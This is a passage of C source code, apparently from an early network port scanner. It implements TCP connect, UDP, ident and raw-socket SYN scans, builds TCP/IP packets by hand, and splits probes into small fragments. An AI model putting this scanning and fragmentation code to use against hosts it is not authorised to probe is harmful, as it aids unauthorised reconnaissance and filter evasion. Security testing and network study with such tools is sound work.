	  /*printf("Socket at port %hi is selectable for w only.VERIFYING\n",
	    portno[k]);*/
	  res = send(sockets[k], buf, 0, 0);
	  if (res < 0 ) {
	    signal(SIGPIPE, SIG_IGN);
	    if (debugging > 1)
	      printf("Bad port %hi caught by 0-byte write!\n", portno[k]);
	  }
	  else {
	    if (debugging || verbose)
	      printf("Adding TCP port %hi due to successful 0-byte write!\n",
		     portno[k]);
	    if (tryident) {
	      if ( getsockname(sockets[k], (struct sockaddr *) &mysock ,
			       &sockaddr_in_len ) ) {
		perror("getsockname");
		exit(1);
	      }
	      tryident = getidentinfoz(target, ntohs(mysock.sin_port),
				       portno[k], owner);
	    }	    
	    addport(ports, portno[k], IPPROTO_TCP, owner);	 
	  }
	  if (max == sockets[k]) max--;
	  FD_CLR(sockets[k], &fds_write);
	  deadstack[++deadindex] = k;
	  current_out--;
	  portno[k] = 0;
	  close(sockets[k]);
	}
	else if ( FD_ISSET(sockets[k], &fds_read) ) {       
	  printf("Socket at port %hi is selectable for r only.  This is very wierd.\n", portno[k]);
	  if (max == sockets[k]) max--;
	  FD_CLR(sockets[k], &fds_read);
	  deadstack[++deadindex] = k;
	  current_out--;
	  portno[k] = 0;
	  close(sockets[k]);
	}
	else {
	  /*printf("Socket at port %hi not selecting, readding.\n",portno[k]);*/
	  FD_SET(sockets[k], &fds_write);
	  FD_SET(sockets[k], &fds_read);
	}
      }
  }
}

if (debugging || verbose) 
  printf("Scanned %d ports in %ld seconds with %d parallel sockets.\n",
	 number_of_ports, time(NULL) - starttime, max_parallel_sockets);
return *ports;
}

/* gawd, my next project will be in c++ so I don't have to deal with
   this crap ... simple linked list implementation */
int addport(portlist *ports, unsigned short portno, unsigned short protocol,
	    char *owner) {
struct port *current, *tmp;
int len;

if (*ports) {
  current = *ports;
  /* case 1: we add to the front of the list */
  if (portno <= current->portno) {
    if (current->portno == portno && current->proto == protocol) {
      if (debugging || verbose) 
	printf("Duplicate port (%hi/%s)\n", portno , 
	       (protocol == IPPROTO_TCP)? "tcp": "udp");
      return -1;
    }  
    tmp = current;
    *ports = safe_malloc(sizeof(struct port));
    (*ports)->next = tmp;
    current = *ports;
    current->portno = portno;
    current->proto = protocol;
    if (owner && *owner) {
      len = strlen(owner);
      current->owner = malloc(sizeof(char) * (len + 1));
      strncpy(current->owner, owner, len + 1);
    }
    else current->owner = NULL;
  }
  else { /* case 2: we add somewhere in the middle or end of the list */
    while( current->next  && current->next->portno < portno)
      current = current->next;
    if (current->next && current->next->portno == portno 
	&& current->next->proto == protocol) {
      if (debugging || verbose) 
	printf("Duplicate port (%hi/%s)\n", portno , 
	       (protocol == IPPROTO_TCP)? "tcp": "udp");
      return -1;
    }
    tmp = current->next;
    current->next = safe_malloc(sizeof(struct port));
    current->next->next = tmp;
    tmp = current->next;
    tmp->portno = portno;
    tmp->proto = protocol;
    if (owner && *owner) {
      len = strlen(owner);
      tmp->owner = malloc(sizeof(char) * (len + 1));
      strncpy(tmp->owner, owner, len + 1);
    }
    else tmp->owner = NULL;
  }
}

else { /* Case 3, list is null */
  *ports = safe_malloc(sizeof(struct port));
  tmp = *ports;
  tmp->portno = portno;
  tmp->proto = protocol;
  if (owner && *owner) {
    len = strlen(owner);
    tmp->owner = safe_malloc(sizeof(char) * (len + 1));
    strncpy(tmp->owner, owner, len + 1);
  }
  else tmp->owner = NULL;
  tmp->next = NULL;
}
return 0; /*success */
}

int deleteport(portlist *ports, unsigned short portno,
	       unsigned short protocol) {
  portlist current, tmp;
  
  if (!*ports) {
    if (debugging > 1) error("Tried to delete from empty port list!");
    return -1;
  }
  /* Case 1, deletion from front of list*/
  if ((*ports)->portno == portno && (*ports)->proto == protocol) {
    tmp = (*ports)->next;
    if ((*ports)->owner) free((*ports)->owner);
    free(*ports);
    *ports = tmp;
  }
  else {
    current = *ports;
    for(;current->next && (current->next->portno != portno || current->next->proto != protocol); current = current->next);
    if (!current->next)
      return -1;
    tmp = current->next;
    current->next = tmp->next;
    if (tmp->owner) free(tmp->owner);
    free(tmp);
}
  return 0; /* success */
}


void *safe_malloc(int size)
{
  void *mymem;
  if (size < 0)
    fatal("Tried to malloc negative amount of memmory!!!");
  if ((mymem = malloc(size)) == NULL)
    fatal("Malloc Failed! Probably out of space.");
  return mymem;
}

void printandfreeports(portlist ports) {
  char protocol[4];
  struct servent *service;
  port *current = ports, *tmp;
  
  printf("Port Number  Protocol  Service");
  printf("%s", (identscan)?"         Owner\n":"\n");
  while(current != NULL) {
    strcpy(protocol,(current->proto == IPPROTO_TCP)? "tcp": "udp");
    service = getservbyport(htons(current->portno), protocol);
    printf("%-13d%-11s%-16s%s\n", current->portno, protocol,
	   (service)? service->s_name: "unknown",
	   (current->owner)? current->owner : "");
    tmp = current;
    current = current->next;
    if (tmp->owner) free(tmp->owner);
    free(tmp);
  }
  printf("\n");
}

/* This is the version of udp_scan that uses raw ICMP sockets and requires 
   root priviliges.*/
portlist udp_scan(struct in_addr target, unsigned short *portarray,
		  portlist *ports) {
  int icmpsock, udpsock, tmp, done=0, retries, bytes = 0, res,  num_out = 0;
  int i=0,j=0, k=0, icmperrlimittime, max_tries = UDP_MAX_PORT_RETRIES;
  unsigned short outports[max_parallel_sockets], numtries[max_parallel_sockets];
  struct sockaddr_in her;
  char senddata[] = "blah\n";
  unsigned long starttime, sleeptime;
  struct timeval shortwait = {1, 0 };
  fd_set  fds_read, fds_write;
  
  bzero(outports, max_parallel_sockets * sizeof(unsigned short));
  bzero(numtries, max_parallel_sockets * sizeof(unsigned short));
  
   /* Some systems (like linux) follow the advice of rfc1812 and limit
    * the rate at which they will respons with icmp error messages 
    * (like port unreachable).  icmperrlimittime is to compensate for that.
    */
  icmperrlimittime = 60000;

  sleeptime = (global_delay)? global_delay : (global_rtt)? (1.2 * global_rtt) + 30000 : 1e5;
if (global_delay) icmperrlimittime = global_delay;

starttime = time(NULL);

FD_ZERO(&fds_read);
FD_ZERO(&fds_write);

if (verbose || debugging)
  printf("Initiating UDP (raw ICMP version) scan against %s (%s) using wait delay of %li usecs.\n", current_name,  inet_ntoa(target), sleeptime);

if ((icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
  perror("Opening ICMP RAW socket");
if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  perror("Opening datagram socket");

unblock_socket(icmpsock);
her.sin_addr = target;
her.sin_family = AF_INET;

while(!done) {
  tmp = num_out;
  for(i=0; (i < max_parallel_sockets && portarray[j]) || i < tmp; i++) {
    close(udpsock);
    if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
      perror("Opening datagram socket");
    if ((i > tmp && portarray[j]) || numtries[i] > 1) {
      if (i > tmp) her.sin_port = htons(portarray[j++]);
      else her.sin_port = htons(outports[i]);
      FD_SET(udpsock, &fds_write);
      FD_SET(icmpsock, &fds_read);
      shortwait.tv_sec = 1; shortwait.tv_usec = 0;
      usleep(icmperrlimittime);
      res = select(udpsock + 1, NULL, &fds_write, NULL, &shortwait);
       if (FD_ISSET(udpsock, &fds_write))
	  bytes = sendto(udpsock, senddata, sizeof(senddata), 0,
			 (struct sockaddr *) &her, sizeof(struct sockaddr_in));
      else {
	printf("udpsock not set for writing port %d!",  ntohs(her.sin_port));
	return *ports;
      }
      if (bytes <= 0) {
	if (errno == ECONNREFUSED) {
	  retries = 10;
	  do {	  
	    /* This is from when I was using the same socket and would 
	     * (rather often) get strange connection refused errors, it
	     * shouldn't happen now that I create a new udp socket for each
	     * port.  At some point I will probably go back to 1 socket again.
	     */
	    printf("sendto said connection refused on port %d but trying again anyway.\n", ntohs(her.sin_port));
	    usleep(icmperrlimittime);
	    bytes = sendto(udpsock, senddata, sizeof(senddata), 0,
			  (struct sockaddr *) &her, sizeof(struct sockaddr_in));
	    printf("This time it returned %d\n", bytes);
	  } while(bytes <= 0 && retries-- > 0);
	}
	if (bytes <= 0) {
	  printf("sendto returned %d.", bytes);
	  fflush(stdout);
	  perror("sendto");
	}
      }
      if (bytes > 0 && i > tmp) {
	num_out++;
	outports[i] = portarray[j-1];
      }
    }
  }
  usleep(sleeptime);
  tmp = listen_icmp(icmpsock, outports, numtries, &num_out, target, ports);
  if (debugging) printf("listen_icmp caught %d bad ports.\n", tmp);
  done = !portarray[j];
  for (i=0,k=0; i < max_parallel_sockets; i++) 
    if (outports[i]) {
      if (++numtries[i] > max_tries - 1) {
	if (debugging || verbose)
	  printf("Adding port %d for 0 unreachable port generations\n",
		 outports[i]);
	addport(ports, outports[i], IPPROTO_UDP, NULL);
	num_out--;
	outports[i] = numtries[i] = 0;      
      }
      else {
	done = 0;
	outports[k] = outports[i];
	numtries[k] = numtries[i];
	if (k != i)
	  outports[i] = numtries[i] = 0;
	k++;
      }
    }
  if (num_out == max_parallel_sockets) {
  printf("Numout is max sockets, that is a problem!\n");
  sleep(1); /* Give some time for responses to trickle back, 
	       and possibly to reset the hosts ICMP error limit */
  }
}


if (debugging || verbose) 
  printf("The UDP raw ICMP scanned %d ports in  %ld seconds with %d parallel sockets.\n", number_of_ports, time(NULL) - starttime, max_parallel_sockets);
close(icmpsock);
close(udpsock);
return *ports;
}

int listen_icmp(int icmpsock,  unsigned short outports[], 
		unsigned short numtries[], int *num_out, struct in_addr target,
		portlist *ports) {
  char response[1024];
  struct sockaddr_in stranger;
  int sockaddr_in_size = sizeof(struct sockaddr_in);
  struct in_addr bs;
  struct iphdr *ip = (struct iphdr *) response;
  struct icmphdr *icmp = (struct icmphdr *) (response + sizeof(struct iphdr));
  struct iphdr *ip2;
  unsigned short *data;
  int badport, numcaught=0, bytes, i, tmptry=0, found=0;
  
  while  ((bytes = recvfrom(icmpsock, response, 1024, 0,
			    (struct sockaddr *) &stranger,
			    &sockaddr_in_size)) > 0) {
  numcaught++;
  bs.s_addr = ip->saddr;
  if (ip->saddr == target.s_addr && ip->protocol == IPPROTO_ICMP 
      && icmp->type == 3 && icmp->code == 3) {    
    ip2 = (struct iphdr *) (response + 4 * ip->ihl + sizeof(struct icmphdr));
    data = (unsigned short *) ((char *)ip2 + 4 * ip2->ihl);
    badport = ntohs(data[1]);
    /*delete it from our outports array */
    found = 0;
    for(i=0; i < max_parallel_sockets; i++) 
      if (outports[i] == badport) {
	found = 1;
	tmptry = numtries[i];
	outports[i] = numtries[i] = 0;
	(*num_out)--;
	break;
      }
    if (debugging && found && tmptry > 0) 
      printf("Badport: %d on try number %d\n", badport, tmptry);
    if (!found) {
      if (debugging) 
	printf("Badport %d came in late, deleting from portlist.\n", badport);
      if (deleteport(ports, badport, IPPROTO_UDP) < 0)
	if (debugging) printf("Port deletion failed.\n");
    }
  }
  else {
    printf("Funked up packet!\n");
  }
}
  return numcaught;
}

/* This fucntion is nonsens.  I wrote it all, really optimized etc.  Then
   found out that many hosts limit the rate at which they send icmp errors :(
   I will probably totally rewrite it to be much simpler at some point.  For
   now I won't worry about it since it isn't a very important functions (UDP
   is lame, plus there is already a much better function for people who 
   are r00t */
portlist lamer_udp_scan(struct in_addr target, unsigned short *portarray,
			portlist *ports) {
int sockaddr_in_size = sizeof(struct sockaddr_in),i=0,j=0,k=0, bytes;
int sockets[max_parallel_sockets], trynum[max_parallel_sockets];
unsigned short portno[max_parallel_sockets];
int last_open = 0;
char response[1024];
struct sockaddr_in her, stranger;
char data[] = "\nhelp\nquit\n";
unsigned long sleeptime;
unsigned int starttime;

/* Initialize our target sockaddr_in */
bzero((char *) &her, sizeof(struct sockaddr_in));
her.sin_family = AF_INET;
her.sin_addr = target;

if (global_delay) sleeptime = global_delay;
else sleeptime =  calculate_sleep(target) + 60000; /*large to be on the 
						    safe side */

if (verbose || debugging)
  printf("Initiating UDP scan against %s (%s), sleeptime: %li\n", current_name,
	 inet_ntoa(target), sleeptime);

starttime = time(NULL);

for(i = 0 ; i < max_parallel_sockets; i++)
  trynum[i] =  portno[i] = 0;

while(portarray[j]) {
  for(i=0; i < max_parallel_sockets && portarray[j]; i++, j++) {
    if (i >= last_open) {
      if ((sockets[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
        {perror("datagram socket troubles"); exit(1);}
      block_socket(sockets[i]);
      portno[i] = portarray[j];
    }
    her.sin_port = htons(portarray[j]);
    bytes = sendto(sockets[i], data, sizeof(data), 0, (struct sockaddr *) &her,
		   sizeof(struct sockaddr_in));
    usleep(5000);
    if (debugging > 1) 
      printf("Sent %d bytes on socket %d to port %hi, try number %d.\n",
	     bytes, sockets[i], portno[i], trynum[i]);
    if (bytes < 0 ) {
      printf("Sendto returned %d the FIRST TIME!@#$!, errno %d\n", bytes,
	     errno);
      perror("");
      trynum[i] = portno[i] = 0;
      close(sockets[i]);
    }
  }
  last_open = i;
  /* Might need to change this to 1e6 if you are having problems*/
  usleep(sleeptime + 5e5);
  for(i=0; i < last_open ; i++) {
    if (portno[i]) {
      unblock_socket(sockets[i]);
      if ((bytes = recvfrom(sockets[i], response, 1024, 0, 
			    (struct sockaddr *) &stranger,
			    &sockaddr_in_size)) == -1)
        {
          if (debugging > 1) 
	    printf("2nd recvfrom on port %d returned %d with errno %d.\n",
		   portno[i], bytes, errno);
          if (errno == EAGAIN /*11*/)
            {
              if (trynum[i] < 2) trynum[i]++;
              else { 
		if (RISKY_UDP_SCAN) {	       
		  printf("Adding port %d after 3 EAGAIN errors.\n", portno[i]);
		  addport(ports, portno[i], IPPROTO_UDP, NULL); 
		}
		else if (debugging)
		  printf("Skipping possible false positive, port %d\n",
			 portno[i]);
                trynum[i] = portno[i] = 0;
                close(sockets[i]);
              }
            }
          else if (errno == ECONNREFUSED /*111*/) {
            if (debugging > 1) 
	      printf("Closing socket for port %d, ECONNREFUSED received.\n",
		     portno[i]);
            trynum[i] = portno[i] = 0;
            close(sockets[i]);
          }
          else {
            printf("Curious recvfrom error (%d) on port %hi: ", 
		   errno, portno[i]);
            perror("");
            trynum[i] = portno[i] = 0;
            close(sockets[i]);
          }
        }
      else /*bytes is positive*/ {
        if (debugging || verbose)
	  printf("Adding UDP port %d due to positive read!\n", portno[i]);
        addport(ports,portno[i], IPPROTO_UDP, NULL);
        trynum[i] = portno[i] = 0;
        close(sockets[i]);
      }
    }
  }
  /* Update last_open, we need to create new sockets.*/
  for(i=0, k=0; i < last_open; i++)
    if (portno[i]) {
      close(sockets[i]);
      sockets[k] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
      /*      unblock_socket(sockets[k]);*/
      portno[k] = portno[i];
      trynum[k] = trynum[i];
      k++;
    }
 last_open = k;
  for(i=k; i < max_parallel_sockets; i++)
    trynum[i] = sockets[i] = portno[i] = 0;
}
if (debugging)
  printf("UDP scanned %d ports in %ld seconds with %d parallel sockets\n",
	 number_of_ports, time(NULL) - starttime, max_parallel_sockets);
return *ports;
}

/* This attempts to calculate the round trip time (rtt) to a host by timing a
   connect() to a port which isn't listening.  A better approach is to time a
   ping (since it is more likely to get through firewalls.  This is now 
   implemented in isup() for users who are root.  */
unsigned long calculate_sleep(struct in_addr target) {
struct timeval begin, end;
int sd;
struct sockaddr_in sock;
int res;

if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  {perror("Socket troubles"); exit(1);}

sock.sin_family = AF_INET;
sock.sin_addr.s_addr = target.s_addr;
sock.sin_port = htons(MAGIC_PORT);

gettimeofday(&begin, NULL);
if ((res = connect(sd, (struct sockaddr *) &sock, 
		   sizeof(struct sockaddr_in))) != -1)
  printf("You might want to change MAGIC_PORT in the include file, it seems to be listening on the target host!\n");
close(sd);
gettimeofday(&end, NULL);
if (end.tv_sec - begin.tv_sec > 5 ) /*uh-oh!*/
  return 0;
return (end.tv_sec - begin.tv_sec) * 1000000 + (end.tv_usec - begin.tv_usec);
}

/* Checks whether the identd port (113) is open on the target machine.  No
   sense wasting time trying it for each good port if it is down! */
int check_ident_port(struct in_addr target) {
int sd;
struct sockaddr_in sock;
int res;

if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  {perror("Socket troubles"); exit(1);}

sock.sin_family = AF_INET;
sock.sin_addr.s_addr = target.s_addr;
sock.sin_port = htons(113); /*should use getservbyname(3), yeah, yeah */
res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));
close(sd);
if (res < 0 ) {
  if (debugging || verbose) printf("identd port not active\n");
  return 0;
}
if (debugging || verbose) printf("identd port is active\n");
return 1;
}

int getidentinfoz(struct in_addr target, int localport, int remoteport,
		  char *owner) {
int sd;
struct sockaddr_in sock;
int res;
char request[15];
char response[1024];
char *p,*q;
char  *os;

owner[0] = '\0';
if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  {perror("Socket troubles"); exit(1);}

sock.sin_family = AF_INET;
sock.sin_addr.s_addr = target.s_addr;
sock.sin_port = htons(113);
usleep(50000);   /* If we aren't careful, we really MIGHT take out inetd, 
		    some are very fragile */
res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));

if (res < 0 ) {
  if (debugging || verbose)
    printf("identd port not active now for some reason ... hope we didn't break it!\n");
  close(sd);
  return 0;
}
sprintf(request,"%hi,%hi\r\n", remoteport, localport);
if (debugging > 1) printf("Connected to identd, sending request: %s", request);
if (write(sd, request, strlen(request) + 1) == -1) {
  perror("identd write");
  close(sd);
  return 0;
}
else if ((res = read(sd, response, 1024)) == -1) {
  perror("reading from identd");
  close(sd);
  return 0;
}
else {
  close(sd);
  if (debugging > 1) printf("Read %d bytes from identd: %s\n", res, response);
  if ((p = strchr(response, ':'))) {
    p++;
    if ((q = strtok(p, " :"))) {
      if (!strcasecmp( q, "error")) {
	if (debugging || verbose) printf("ERROR returned from identd\n");
	return 0;
      }
      if ((os = strtok(NULL, " :"))) {
	if ((p = strtok(NULL, " :"))) {
	  if ((q = strchr(p, '\r'))) *q = '\0';
	  if ((q = strchr(p, '\n'))) *q = '\0';
	  strncpy(owner, p, 512);
	  owner[512] = '\0';
	}
      }
    } 
  }  
}
return 1;
}

/* A relatively fast (or at least short ;) ping function.  Doesn't require a 
   seperate checksum function */
int isup(struct in_addr target) {
  int res, retries = 3;
  struct sockaddr_in sock;
  /*type(8bit)=8, code(8)=0 (echo REQUEST), checksum(16)=34190, id(16)=31337 */
#ifdef __LITTLE_ENDIAN_BITFIELD
  unsigned char ping[64] = { 0x8, 0x0, 0x8e, 0x85, 0x69, 0x7A };
#else
  unsigned char ping[64] = { 0x8, 0x0, 0x85, 0x8e, 0x7A, 0x69 };
#endif
  int sd;
  struct timeval tv;
  struct timeval start, end;
 fd_set fd_read;
  struct {
    struct iphdr ip;
    unsigned char type;
    unsigned char code;
    unsigned short checksum;
    unsigned short identifier;
    char crap[16536];
  }  response;

sd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

bzero((char *)&sock,sizeof(struct sockaddr_in));
sock.sin_family=AF_INET;
sock.sin_addr = target;
if (debugging > 1) printf(" Sending 3 64 byte raw pings to host.\n");
gettimeofday(&start, NULL);
while(--retries) {
  if ((res = sendto(sd,(char *) ping,64,0,(struct sockaddr *)&sock,
		    sizeof(struct sockaddr))) != 64) {
    fprintf(stderr, "sendto in isup returned %d! skipping host.\n", res);
    return 0;
  } 
  FD_ZERO(&fd_read);
  FD_SET(sd, &fd_read);
  tv.tv_sec = 0; 
  tv.tv_usec = 1e6 * (PING_TIMEOUT / 3.0);
  while(1) {
    if ((res = select(sd + 1, &fd_read, NULL, NULL, &tv)) != 1) 
      break;
    else {
      read(sd,&response,sizeof(response));
      if  (response.ip.saddr == target.s_addr &&  !response.type 
	   && !response.code   && response.identifier == 31337) {
	gettimeofday(&end, NULL);
	global_rtt = (end.tv_sec - start.tv_sec) * 1e6 + end.tv_usec - start.tv_usec;
	ouraddr.s_addr = response.ip.daddr;
	close(sd);
	return 1;       
      }
    }
  }
}
close(sd);
return 0;
}


portlist syn_scan(struct in_addr target, unsigned short *portarray,
		  struct in_addr *source, int fragment, portlist *ports) {
int i=0, j=0, received, bytes, starttime;
struct sockaddr_in from;
int fromsize = sizeof(struct sockaddr_in);
int sockets[max_parallel_sockets];
struct timeval tv;
char packet[65535];
struct iphdr *ip = (struct iphdr *) packet;
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
fd_set fd_read, fd_write;
int res;
struct hostent *myhostent;
char myname[MAXHOSTNAMELEN + 1];
int source_malloc = 0;

FD_ZERO(&fd_read);
FD_ZERO(&fd_write);

tv.tv_sec = 7;
tv.tv_usec = 0;

if ((received = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0 )
  perror("socket trobles in syn_scan");
unblock_socket(received);
FD_SET(received, &fd_read);

/* First we take what is given to us as source.  If that isn't valid, we take
   what should have swiped from the echo reply in our ping function.  If THAT
   doesn't work either, we try to determine our address with gethostname and
   gethostbyname.  Whew! */
if (!source) {
  if (ouraddr.s_addr) {
    source = &ouraddr;
  }
  else {
  source = safe_malloc(sizeof(struct in_addr));
  source_malloc = 1;
  if (gethostname(myname, MAXHOSTNAMELEN) || 
      !(myhostent = gethostbyname(myname)))
    fatal("Your system is fucked up.\n"); 
  memcpy(source, myhostent->h_addr_list[0], sizeof(struct in_addr));
  }
  if (debugging)
    printf("We skillfully deduced that your address is %s\n", 
	   inet_ntoa(*source));
}

starttime = time(NULL);

do {
  for(i=0; i < max_parallel_sockets && portarray[j]; i++) {
    if ((sockets[i] = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 )
      perror("socket trobles in syn_scan");
    else {
      if (fragment)
	send_small_fragz(sockets[i], source, &target, MAGIC_PORT,
			 portarray[j++], TH_SYN);
      else send_tcp_raw(sockets[i], source , &target, MAGIC_PORT, 
			portarray[j++],0,0,TH_SYN,0,0,0);
      usleep(10000);
    }
  }
  if ((res = select(received + 1, &fd_read, NULL, NULL, &tv)) < 0)
    perror("select problems in syn_scan");
  else if (res > 0) {
    while  ((bytes = recvfrom(received, packet, 65535, 0, 
			      (struct sockaddr *)&from, &fromsize)) > 0 ) {
      if (ip->saddr == target.s_addr) {
	if (tcp->th_flags & TH_RST) {
	  if (debugging > 1) printf("Nothing open on port %d\n",
				    ntohs(tcp->th_sport));
	}
	else /*if (tcp->th_flags & TH_SYN && tcp->th_flags & TH_ACK)*/ {
	  if (debugging || verbose) {	  
	    printf("Possible catch on port %d!  Here it is:\n", 
		   ntohs(tcp->th_sport));
	    readtcppacket(packet,1);
	  }
	  addport(ports, ntohs(tcp->th_sport), IPPROTO_TCP, NULL); 	    
	}
      }
    }
  }
  for(i=0; i < max_parallel_sockets && portarray[j]; i++) close(sockets[i]);
  
} while (portarray[j]);
if (debugging || verbose)
  printf("The TCP SYN scan took %ld seconds to scan %d ports.\n",
	 time(NULL) - starttime, number_of_ports);
if (source_malloc) free(source);  /* Gotta save those 4 bytes! ;) */
close(received);
return *ports;
}


int send_tcp_raw( int sd, struct in_addr *source, 
		  struct in_addr *victim, unsigned short sport, 
		  unsigned short dport, unsigned long seq,
		  unsigned long ack, unsigned char flags,
		  unsigned short window, char *data, 
		  unsigned short datalen) 
{

struct pseudo_header { 
  /*for computing TCP checksum, see TCP/IP Illustrated p. 145 */
  unsigned long s_addr;
  unsigned long d_addr;
  char zer0;
  unsigned char protocol;
  unsigned short length;
};
char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen];
 /*With these placement we get data and some field alignment so we aren't
   wasting too much in computing the checksum */
struct iphdr *ip = (struct iphdr *) packet;
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
struct pseudo_header *pseudo =  (struct pseudo_header *) (packet + sizeof(struct iphdr) - sizeof(struct pseudo_header)); 
int res;
struct sockaddr_in sock;
char myname[MAXHOSTNAMELEN + 1];
struct hostent *myhostent;
int source_malloced = 0;

/* check that required fields are there and not too silly */
if ( !victim || !sport || !dport || sd < 0) {
  fprintf(stderr, "send_tcp_raw: One or more of your parameters suck!\n");
  return -1;
}

/* if they didn't give a source address, fill in our first address */
if (!source) {
  source_malloced = 1;
  source = safe_malloc(sizeof(struct in_addr));
  if (gethostname(myname, MAXHOSTNAMELEN) || 
      !(myhostent = gethostbyname(myname)))
    fatal("Your system is fucked up.\n"); 
  memcpy(source, myhostent->h_addr_list[0], sizeof(struct in_addr));
  if (debugging > 1)
    printf("We skillfully deduced that your address is %s\n", 
	   inet_ntoa(*source));
}


/*do we even have to fill out this damn thing?  This is a raw packet, 
  after all */
sock.sin_family = AF_INET;
sock.sin_port = htons(dport);
sock.sin_addr.s_addr = victim->s_addr;

bzero(packet, sizeof(struct iphdr) + sizeof(struct tcphdr));

pseudo->s_addr = source->s_addr;
pseudo->d_addr = victim->s_addr;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr) + datalen);

tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
if (seq)
  tcp->th_seq = htonl(seq);
else tcp->th_seq = rand() + rand();

if (flags & TH_ACK && ack)
  tcp->th_ack = htonl(seq);
else if (flags & TH_ACK)
  tcp->th_ack = rand() + rand();

tcp->th_off = 5 /*words*/;
tcp->th_flags = flags;

if (window)
  tcp->th_win = window;
else tcp->th_win = htons(2048); /* Who cares */

tcp->th_sum = in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr) + 
		       sizeof(struct pseudo_header) + datalen);

/* Now for the ip header */
bzero(packet, sizeof(struct iphdr)); 
ip->version = 4;
ip->ihl = 5;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen);
ip->id = rand();
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->saddr = source->s_addr;
ip->daddr = victim->s_addr;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

if (debugging > 1) {
printf("Raw TCP packet creation completed!  Here it is:\n");
readtcppacket(packet,ntohs(ip->tot_len));
}
if (debugging > 1) 
  printf("\nTrying sendto(%d , packet, %d, 0 , %s , %d)\n",
	 sd, ntohs(ip->tot_len), inet_ntoa(*victim),
	 sizeof(struct sockaddr_in));
if ((res = sendto(sd, packet, ntohs(ip->tot_len), 0,
		  (struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == -1)
  {
    perror("sendto in send_tcp_raw");
    if (source_malloced) free(source);
    return -1;
  }
if (debugging > 1) printf("successfully sent %d bytes of raw_tcp!\n", res);

if (source_malloced) free(source);
return res;
}

/* A simple program I wrote to help in debugging, shows the important fields
   of a TCP packet*/
int readtcppacket(char *packet, int readdata) {
struct iphdr *ip = (struct iphdr *) packet;
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
char *data = packet +  sizeof(struct iphdr) + sizeof(struct tcphdr);
int tot_len;
struct in_addr bullshit, bullshit2;
char sourcehost[16];
int i;

if (!packet) {
  fprintf(stderr, "readtcppacket: packet is NULL!\n");
  return -1;
    }
bullshit.s_addr = ip->saddr; bullshit2.s_addr = ip->daddr;
tot_len = ntohs(ip->tot_len);
strncpy(sourcehost, inet_ntoa(bullshit), 16);
i =  4 * (ntohs(ip->ihl) + ntohs(tcp->th_off));
if (ip->protocol == IPPROTO_TCP)
  if (ip->frag_off) printf("Packet is fragmented, offset field: %u",
			   ip->frag_off);
  else {
    printf("TCP packet: %s:%d -> %s:%d (total: %d bytes)\n", sourcehost, 
	   ntohs(tcp->th_sport), inet_ntoa(bullshit2), 
	   ntohs(tcp->th_dport), tot_len);
    printf("Flags: ");
    if (!tcp->th_flags) printf("(none)");
    if (tcp->th_flags & TH_RST) printf("RST ");
    if (tcp->th_flags & TH_SYN) printf("SYN ");
    if (tcp->th_flags & TH_ACK) printf("ACK ");
    if (tcp->th_flags & TH_PUSH) printf("PSH ");
    if (tcp->th_flags & TH_FIN) printf("FIN ");
    if (tcp->th_flags & TH_URG) printf("URG ");
    printf("\n");
    printf("ttl: %hi ", ip->ttl);
    if (tcp->th_flags & (TH_SYN | TH_ACK)) printf("Seq: %lu\tAck: %lu\n", 
						  tcp->th_seq, tcp->th_ack);
    else if (tcp->th_flags & TH_SYN) printf("Seq: %lu\n", ntohl(tcp->th_seq));
    else if (tcp->th_flags & TH_ACK) printf("Ack: %lu\n", ntohl(tcp->th_ack));
  }
if (readdata && i < tot_len) {
printf("Data portion:\n");
while(i < tot_len)  printf("%2X%c", data[i], (++i%16)? ' ' : '\n');
printf("\n");
}
return 0;
}

/* We don't exactly need real crypto here (thank god!)\n"*/
int shortfry(unsigned short *ports) {
int num;
unsigned short tmp;
int i;

for(i=0; i < number_of_ports; i++) {
  num = rand() % (number_of_ports);
  tmp = ports[i];
  ports[i] = ports[num];
  ports[num] = tmp;
}
return 1;
}


/* Much of this is swiped from my send_tcp_raw function above, which 
   doesn't support fragmentation */
int send_small_fragz(int sd, struct in_addr *source, struct in_addr *victim,
		     int sport, int dport, int flags) {

struct pseudo_header { 
/*for computing TCP checksum, see TCP/IP Illustrated p. 145 */
  unsigned long s_addr;
  unsigned long d_addr;
  char zer0;
  unsigned char protocol;
  unsigned short length;
};
/*In this placement we get data and some field alignment so we aren't wasting
  too much to compute the TCP checksum.*/
char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + 100];
struct iphdr *ip = (struct iphdr *) packet;
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
struct pseudo_header *pseudo = (struct pseudo_header *) (packet + sizeof(struct iphdr) - sizeof(struct pseudo_header)); 
char *frag2 = packet + sizeof(struct iphdr) + 16;
struct iphdr *ip2 = (struct iphdr *) (frag2 - sizeof(struct iphdr));
int res;
struct sockaddr_in sock;
int id;

/*Why do we have to fill out this damn thing? This is a raw packet, after all */
sock.sin_family = AF_INET;
sock.sin_port = htons(dport);
